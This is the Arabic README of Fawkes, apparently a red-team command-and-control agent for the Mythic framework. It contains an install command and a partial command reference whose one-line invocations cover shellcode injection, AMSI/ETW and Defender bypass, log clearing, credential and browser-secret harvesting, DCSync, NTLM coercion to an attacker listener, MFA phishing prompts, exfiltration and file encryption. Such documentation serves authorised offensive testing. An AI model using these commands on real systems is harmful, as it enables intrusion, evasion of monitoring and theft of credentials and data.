fawkes

# Fawkes Mythic C2 Agent

<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />

Fawkes هو وكيل Mythic C2 تمت برمجته بالكامل عبر الأوامر الصوتية (vibe-coded). بدأ كـ"أتساءل" وتحول إلى هدف. هدفي هو ألا أكتب سطرًا واحدًا من الكود لهذا الوكيل، بل أنتجه حصريًا من خلال موجه (prompt).

في البداية حاولت كتابة الوكيل بنفسي، ولكن بعد استنساخ الحاوية النموذجية، وقراءة توثيق Mythic، ومشاهدة فيديوهات سلسلة التطوير على يوتيوب، ونسخ الكود من وكلاء آخرين مثل Merlin أو Freyja، قررت أنه ليس لدي وقت لتطوير وكيل خاص بي. لكن الموجّه (prompt) – هذا هو ما أملك وقتًا له.

Fawkes هو وكيل مبني على لغة Go مع إمكانيات عبر المنصات. يدعم **Windows** (حمولات EXE وDLL وshellcode)، و**Linux** (ملفات ELF ثنائية ومكتبات مشتركة)، و**macOS** (ملفات Mach-O ثنائية لـ Intel وApple Silicon). إجمالي **213 أمرًا**: 113 عبر المنصات، 82 مخصصة لـ Windows فقط، 21 لـ Unix فقط، 11 لـ Linux فقط، و6 لـ macOS فقط (بعض الأوامر لها تطبيقات خاصة بالمنصة تشترك في اسم واحد مواجه للمستخدم، مثل screenshot). يدعم الخروج عبر HTTP والربط من نظير إلى نظير (P2P) عبر TCP للتنقل الداخلي.

## التثبيت
لتثبيت Fawkes، ستحتاج إلى تثبيت Mythic على جهاز بعيد. يمكنك العثور على تعليمات التثبيت لـ Mythic في [صفحة مشروع Mythic](https://github.com/its-a-feature/Mythic/).

من دليل تثبيت Mythic:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## مرجع سريع للأوامرالأمر | الصيغة | الوصف
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | قراءة/تعديل قوائم التحكم في الوصول (DACLs) للكائنات في Active Directory (إضافة/إزالة ACEs، منح DCSync، GenericAll، النسخ الاحتياطي/الاستعادة). عبر المنصات (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | تعداد خدمات شهادات Active Directory، البحث عن قوالب ضعيفة (ESC1-ESC4، ESC6 عبر DCOM)، طلب الشهادات عبر DCOM لاستغلال ESC1/ESC6، أو الاستغلال التلقائي (بحث ← تحليل ← سلسلة طلب). عبر المنصات (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windows فقط)** إدارة تدفقات البيانات البديلة (ADS) لـ NTFS — كتابة، قراءة، سرد، أو حذف تدفقات البيانات المخفية. يدعم النص ورموز الترميز السداسية الثنائية. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | الاستعلام وتنظيف آثار الطب الشرعي الخاصة بالتنفيذ. Windows: Shimcache. Linux: recently-used.xbel، الصور المصغرة، Tracker. macOS: العناصر الحديثة، KnowledgeC، الحجر الصحي (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windows فقط)** حقن العملية عن بُعد. `-method apc` (الافتراضي) يقوم بإدراج الشيل كود عبر NtQueueApcThread في خيط قابل للتنبيه (استخدم `ts` للعثور على واحد). `-method hwbp` يرفق عبر DebugActiveProcess، ويضبط نقطة توقف أجهزة DR0 على API مستهدف (افتراضي `ntdll!NtDelayExecution`)، ويعيد توجيه Rip إلى الشيل كود عند إطلاق نقطة التوقف — لا حاجة إلى TID، لا قائمة APC، لا CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | تسجيل الصوت من الميكروفون ورفع ملف WAV. Windows (waveIn)، Linux (arecord/parecord)، macOS (rec/ffmpeg). عبر المنصات (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windows فقط)** الاستعلام وتعديل سياسات تدقيق Windows. تعطيل تسجيل أحداث الأمان قبل العمليات الحساسة. الوضع المخفي يعطل الفئات الفرعية الهامة للكشف. يستخدم واجهة AuditQuerySystemPolicy API (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windows فقط)** تنفيذ أمر مع وسيطات عملية مزيفة. يتجاوز Sysmon Event ID 1 وقياس عن بُعد سطر أوامر EDR (T1564.010).
arp | `arp [-ip <subnet>]` or `arp -action spoof -target <IP> -gateway <IP>` | عرض جدول ARP مع التصفية، أو تسميم ذاكرة التخزين المؤقت ARP لتحديد المواقع MITM (T1557.002). التزوير: Linux فقط، يستعيد عند التنظيف.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | طلب تذاكر AS-REP للحسابات التي لا تتطلب المصادقة المسبقة واستخراج التجزئات بتنسيق hashcat للتكسير دون اتصال. التعداد التلقائي عبر LDAP. عبر المنصات (T1558.004).
av-detect | `av-detect [-deep true]` | كشف برامج الحماية من الفيروسات/EDR/الأمان المثبتة من خلال فحص العمليات الجارية مقابل قاعدة بيانات تضم أكثر من 130 توقيع. مع `--deep`، يتحقق أيضًا من وحدات النواة، ووحدات systemd، وأدلة التكوين بحثًا عن المنتجات المثبتة ولكن غير العاملة (Linux). يبلغ عن المنتج، البائع، النوع، و PID. عبر المنصات.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windows فقط)** تصحيح دالة تلقائيًا بالقفز إلى أقرب تعليمة إرجاع (C3). مفيد لتجاوزات AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | مجموعة أدوات ترميز البيانات: base64، XOR (بمفتاح نصي/سداسي)، hex، ROT13، ترميز URL بنسبة مئوية، تشفير قيصر. جميعها تدعم إدخال/إخراج الملفات. عبر المنصات (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windows فقط)** إدارة وظائف نقل BITS للثبات وتنزيل الملفات بشكل خفي. إنشاء، تعليق، استئناف، إكمال الوظائف وتعيين أوامر الإشعار للثبات. تبقى الوظائف بعد إعادة التشغيل (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | حصاد بيانات المتصفح من Chromium و Firefox و Safari. التاريخ، الملء التلقائي، الإشارات المرجعية، التنزيلات عبر المنصات. كلمات المرور: Chromium (DPAPI/Keychain/GNOME Keyring)، Firefox (فك تشفير key4.db NSS)، Safari (Keychain macOS). ملفات تعريف الارتباط Firefox على جميع المنصات. MITRE T1555.003, T1217.
cat | `cat <file>` or `cat -path <file> -start N -end N -number true` | عرض محتويات الملف مع نطاق أسطر اختياري، ترقيم، وحماية من الحجم 5 ميجابايت.
cd | `cd <directory>` | تغيير دليل العمل الحالي.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | تعديل أذونات الملف/الدليل بتدوين ثماني (755، 644) أو رمزي (+x، u+rw، go-w). دعم تكراري. عبر المنصات (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(لينكس/macOS فقط)** تغيير ملكية الملف/الدليل بواسطة اسم المستخدم/UID واسم المجموعة/GID. دعم تكراري (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | فحص شهادات TLS على المضيفين البعيدين — تحديد CAs، الشهادات الموقعة ذاتيًا، تاريخ الانتهاء، SANs، إصدار TLS، مجموعات التشفير، وبصمات SHA256. عبر المنصات (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windows فقط)** تعداد مخازن شهادات Windows للعثور على شهادات توقيع التعليمات البرمجية، شهادات مصادقة العميل، والمفاتيح الخاصة. يبحث في CurrentUser و LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | قراءة/كتابة الحافظة أو المراقبة المستمرة للتغييرات مع كشف أنماط بيانات الاعتماد. عبر المنصات (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | بيانات وصفية سحابية، استخراج بيانات الاعتماد، تعداد IAM، تعداد التخزين، الثبات، والوصول إلى مخازن الأسرار. storage/aws-s3/azure-blob/gcp-gcs: تعداد المجموعات/الحاويات مع كائنات نموذجية. aws-ssm: مخزن معلمات SSM مع فك التشفير. azure-keyvault: أسرار Key Vault عبر الهوية المدارة. gcp-secrets: مدير الأسرار عبر حساب الخدمة. aws-persist/azure-persist: إنشاء مفاتيح وصول/تسجيلات تطبيق طويلة الأمد. الكشف التلقائي. IMDSv2. عبر المنصات (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | إنشاء، سرد، استخراج، تخزين، أو تسريب الأرشيفات. التخزين يشفر باستخدام AES-256-GCM. التسريب ينقل إلى Mythic. exfil-https: رفع إلى روابط S3/Azure/GCS الموقعة مسبقًا مع تحميل مجزأ، رؤوس مخصصة، تموج. exfil-github: تسريب عبر GitHub Contents API. عبر المنصات (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | إكراه مصادقة NTLM عبر MS-EFSR (PetitPotam)، MS-RPRN (PrinterBug)، MS-FSRVP (ShadowCoerce). يجبر الهدف على المصادقة على مستمع المهاجم. دعم تمرير التجزئة (Pass-the-hash). عبر المنصات (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | عرض أو تعديل تكوين الوكيل أثناء التشغيل، أو التحديث الذاتي للوكيل الثنائي. `show`/`set`: وقت النوم، التموج، تاريخ الإيقاف، ساعات العمل. `update`: تنزيل حمولة جديدة من Mythic، التحقق، الإطلاق، والخروج من الوكيل الحالي. عبر المنصات (T1105).
container-detect | `container-detect` | كشف بيئة تشغيل الحاوية (Docker، K8s، LXC، Podman، WSL). يتحقق من متجهات الهروب مثل مآخذ Docker وحسابات خدمة K8s. عبر المنصات (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(لينكس فقط)** الهروب من الحاوية + عمليات K8s — مأخذ Docker، cgroup، nsenter، تركيب جهاز المضيف. K8s: تعداد البودات/الخدمات، قراءة الأسرار، **k8s-rbac**: مسح ClusterRole/RoleBinding + تسجيل مسار تصعيد الامتيازات (crit/warn/info)، **k8s-nodes**: سطح هجوم عقد الكتلة (kubelet/OS/kernel/CIDR/taints/roles)، **k8s-etcd**: اكتشاف نقاط نهاية etcd العميل من وسيطات بود المستوى التحكم + استقصاء `/version` غير المصادق لكل نقطة نهاية (قراءة غير مصادقة = اختراق كامل للكتلة)، نشر/تنفيذ البودات عبر API. **خارج الكتلة**: `-kubeconfig` يقبل ملفات kubeconfig المسروقة للوصول إلى K8s من مضيفات غير حاوية (مصادقة رمز + شهادة عميل) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | نسخ ملف من المصدر إلى الوجهة.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | اختبار بيانات الاعتماد ضد SMB و WinRM و LDAP على المضيفات المستهدفة. `verify-all` يختبر جميع بيانات الاعتماد المخزنة ضد المضيفات المكتشفة بالتوازي. عبر المنصات (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | حصاد بيانات الاعتماد: تجزئات الظل (Unix)، تكوينات السحابة (AWS/GCP/Azure/K8s)، أسرار التطبيق، فحص سجل القشرة بحثًا عن كلمات مرور/رموز/مفاتيح API مسربة، سجل PowerShell + متغيرات البيئة + RDP (Windows)، رموز M365 OAuth/JWT من TokenBroker/Teams/Outlook (Windows)، **browser-live**: سرقة ملفات تعريف الارتباط الحية، localStorage، sessionStorage عبر بروتوكول أدوات المطور Chrome (CDP) من Chrome/Edge الجاري. **dump-all**: سلسلة مهام فرعية آلية — تشغيل hashdump + lsa-secrets + cred-harvest جميعها بالتوازي (Windows). عبر المنصات (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | عرض مربع حوار بيانات اعتماد أصلي، إساءة استخدام تدفق رمز جهاز OAuth، أو تصيد رموز MFA. dialog: AppleScript (macOS)، CredUI (Windows)، zenity/kdialog (Linux). device-code: تدفق رمز جهاز OAuth Azure AD لالتقاط الرمز. mfa-phish: مربع حوار تحقق MFA مزيف لالتقاط رموز TOTP. عبر المنصات (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | طلبات HTTP + رفع ملف التسريب (T1567). رفع إلى روابط S3 الموقعة مسبقًا، Azure SAS، نقاط نهاية عامة. عبر المنصات (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | استخراج الحقول أو نطاقات الأحرف من أسطر الملف. محددات مخصصة، مواصفات النطاق. عبر المنصات (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | تعداد مخازن بيانات الاعتماد الخاصة بالمنصة. Windows: مدير بيانات الاعتماد + الخزنة (CredEnumerateW، vaultcli.dll). Linux: سلسلة مفاتيح GNOME (secret-tool)، KDE KWallet، كلمات مرور WiFi/VPN لـ NetworkManager، حسابات GNOME عبر الإنترنت. macOS: عناصر Keychain (كلمات مرور عامة + إنترنت)، كلمات مرور WiFi. `list`=بيانات وصفية، `dump`=مع الأسرار، `vault`=Windows فقط. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windows فقط)** إدارة Defender — الحالة، الاستثناءات، التهديدات، تمكين/تعطيل الحماية في الوقت الفعلي. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windows فقط)** فك تشفير كتلة DPAPI (CryptUnprotectData)، تعداد المفاتيح الرئيسية، استخراج مفتاح تشفير Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windows فقط)** الوصول إلى صندوق بريد Outlook عبر COM. عد الرسائل، البحث بكلمة رئيسية، القراءة حسب الفهرس، سرد المجلدات. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windows فقط)** تنفيذ الأوامر، رفع الملفات، أو التخزين والتنفيذ على المضيفين البعيدين عبر DCOM. `check` يتحقق من متطلبات RPC/DCOM المسبقة. upload: نقل الملفات عبر تخزين certutil/PowerShell. exec-staged: رفع ثم تنفيذ مع تنظيف تلقائي. ستة كائنات COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | كشف المصححات المرفقة، أدوات التحليل، والأجهزة. Windows: IsDebuggerPresent، NtQueryInformationProcess، PEB، سجلات DR. Linux: TracerPid، LD_PRELOAD، خرائط الذاكرة (Frida/Valgrind/sanitizers)، VM/صندوق الرمل، مراقبة eBPF (Falco/Tetragon/Tracee)، إطار auditd، نطاق ptrace. macOS: sysctl P_TRACED، DYLD_INSERT_LIBRARIES، كشف VM (sysctl)، منتجات الأمان (EDR/AV)، بيئة صندوق الرمل/التحليل. الكل: فحص عملية المصحح (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — تكرار بيانات اعتماد AD عبر DRS دون لمس LSASS. `domain-takeover` يشغل kerberoast + asrep-roast + dcsync krbtgt/Administrator بالتوازي. عبر المنصات (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | الإبلاغ عن استخدام مساحة قرص نظام الملفات مع تصفية اختيارية للجهاز، نقطة التثبيت، أو نوع نظام الملفات. عبر المنصات (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | مقارنة ملفين وعرض الاختلافات بتنسيق diff موحد. خوارزمية قائمة على LCS مع أسطر سياق قابلة للتكوين. عبر المنصات (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | تعداد DNS — حل المضيفين، الاستعلام عن السجلات، اكتشاف وحدات التحكم بالنطاق، نقل المنطقة، كشف النطاقات البديلة، الاستعلام المخفي عبر DNS-over-HTTPS، تسريب DNS. عبر المنصات (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | الإبلاغ عن استخدام القرص للملفات والدلائل. تحليل الحجم حسب الدليل الفرعي، مرتبة حسب الأكبر. عبر المنصات (T1083).
drivers | `drivers [-filter <name>]` | تعداد برامج تشغيل النواة/الوحدات المحملة. Windows: EnumDeviceDrivers، Linux: /proc/modules، macOS: تعداد kext. عبر المنصات (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | تعداد سياسة كلمة مرور/قفل AD و FGPP عبر LDAP. توصيات آمنة ضد الرش. عبر المنصات (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(لينكس/macOS فقط)** سرد، إضافة، أو إزالة وظائف cron للثبات. يدعم إدخالات cron الخام أو صيغة البرنامج+الجدول.
download | `download <path>` or `download {"path": "/file", "compress": true}` | تنزيل ملف أو دليل من الهدف. الملفات الأكبر من 1 ميجابايت تُضغط تلقائيًا بـ gzip (قابلة للتكوين). الدلائل تُضغط تلقائيًا إلى zip. التحقق من تجزئة SHA256. نقل مجزأ، تكامل مستعرض الملفات.
drives | `drives` | سرد الأقراص/وحدات التخزين المتاحة وأنظمة الملفات المثبتة مع النوع، التسمية/الجهاز، والمساحة الحرة/الإجمالية.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windows فقط)** تعداد رموز الوصول عبر جميع العمليات. `list` يُظهر PID/المستخدم/النزاهة/الجلسة لكل عملية. `unique` يجمع حسب المستخدم مع أعداد العمليات. تمكين SeDebugPrivilege تلقائيًا (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | تشفير/فك تشفير AES-256-GCM (T1486) + إتلاف ملف مستهدف (T1565). corrupt: الكتابة فوق رؤوس الملفات ببيانات عشوائية. بوابات أمان مطلوبة للعمليات الهدامة.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | سرد، الحصول، تعيين، أو إلغاء تعيين متغيرات البيئة لعملية الوكيل. التغييرات موروثة من قبل العمليات الفرعية. عبر المنصات.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | مسح متغيرات بيئة العملية بحثًا عن بيانات اعتماد مسربة، مفاتيح API، وأسرار. أكثر من 35 نمط كشف عبر فئات السحابة، قواعد البيانات، CI/CD، والعملات المشفرة. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** التلاعب بنظام التدقيق/القياس عن بُعد. Windows: جلسات/مزودي ETW إيقاف/تعمية/تعمية الكل/تمكين/تصحيح/استعادة. Linux: قواعد auditd، journald مسح/تدوير، تكوين syslog، كشف وكيل SIEM. macOS: التسجيل الموحد، كشف وكيل الأمان. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | إدارة سجلات أحداث النظام. Windows: قنوات wevtapi.dll. Linux: وحدات journald وملفات syslog. macOS: أنظمة/عمليات التسجيل الموحد (os_log). سرد المصادر، الاستعلام عن الأحداث، مسح/تفريغ السجلات، الحصول على المعلومات. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | تنفيذ ثنائي أصلي من الذاكرة. Linux: memfd_create (لا كتابة على القرص). macOS: ملف مؤقت مع توقيع ad-hoc. Windows: ملف مؤقت مع تنظيف فوري. جميع المنصات تزيل الآثار بعد التنفيذ. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | تنفيذ الشيل كود في العملية الحالية. يدعم شيل كود مشفر بـ XOR/AES-256-CTR مع فك تشفير أثناء التشغيل (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (افتراضي) أو memfd_create. macOS: MAP_JIT (ARM64) أو mmap. عبر المنصات (T1059.006, T1620).
exit | `exit` | أمر الوكيل بالخروج.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | الحصول على أو تعيين سمات الملف — مخفي، للقراءة فقط، نظام (Windows)؛ غير قابل للتغيير، ملحق، nodump (Linux)؛ مخفي، غير قابل للتغيير (macOS). احذف -attrs لعرض الأعلام الحالية. عبر المنصات (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | تحديد أنواع الملفات بواسطة البايتات السحرية (أكثر من 35 توقيع). مسح ملف واحد أو دليل. يكتشف الملفات التنفيذية، الأرشيفات، المستندات، الصور، قواعد البيانات، الوسائط، والمزيد. عبر المنصات (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | البحث عن الملفات بالاسم، الحجم، التاريخ، الأذونات، أو المالك. العثور على ثنائيات SUID، الملفات القابلة للكتابة عالميًا، الملفات المملوكة لمستخدمين محددين. عبر المنصات (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | مسح المضيفين لاكتشاف أين تتمتع بيانات الاعتماد بوصول إداري عبر SMB (مشاركة C$) و/أو WinRM. **auto-move**: سلسلة مهام فرعية آلية — العثور على مضيفين إداريين ثم الانتقال أفقيًا إلى كل منهم عبر psexec/wmi. يدعم CIDR، نطاقات IP، PTH، المسح المتوازي (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** إدارة قواعد جدار الحماية. Windows: COM API. macOS: ALF + قواعد pf المثبتة. Linux: iptables/nftables (اكتشاف تلقائي). دعم مرسى PF لتصفية حزم macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** سرد الامتيازات/الإمكانيات. Windows: امتيازات الرمز مع تمكين/تعطيل/تجريد. Linux: إمكانيات العملية (CapEff/CapPrm) + سياق SELinux/AppArmor. macOS: الصلاحيات، صندوق الرمل، المجموعات (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** تصعيد الامتيازات. Windows: SYSTEM عبر سرقة الرمز أو DCOM potato. Linux: التحقق من متجهات التصعيد (SUID، sudo، الإمكانيات، docker) أو محاولة رفع sudo. macOS: التحقق من المتجهات، sudo، أو موجه osascript الإداري (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | البحث في SYSVOL عن ملفات XML الخاصة بـ GPP ذات سمات cpassword المشفرة وفك تشفيرها باستخدام مفتاح AES المنشور (MS14-025). عبر المنصات عبر SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | تعداد كائنات نهج المجموعة عبر LDAP — سرد GPOs، تعيين الروابط مع التنفيذ، البحث عن إعدادات CSE المثيرة للاهتمام. عبر المنصات (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | البحث في محتويات الملف عن أنماط التعبير العادي. بحث تكراري في الدلائل مع تصفية الامتداد، أسطر السياق، وتخطي الملفات الثنائية. عبر المنصات (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | حساب تجزئات الملفات (MD5، SHA-1، SHA-256، SHA-512). ملفات فردية أو دلائل مع تصفية نمط glob والتحكم في العمق. عبر المنصات (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | عرض محتويات الملف بتنسيق سداسي+ASCII على طريقة xxd. التحكم في الإزاحة والطول لفحص مناطق محددة، بحد أقصى 4096 بايت. عبر المنصات (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** تعداد مقابض/واصفات الملفات المفتوحة في عملية. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
```

---

[Read more](https://github.com/galoryber/fawkes)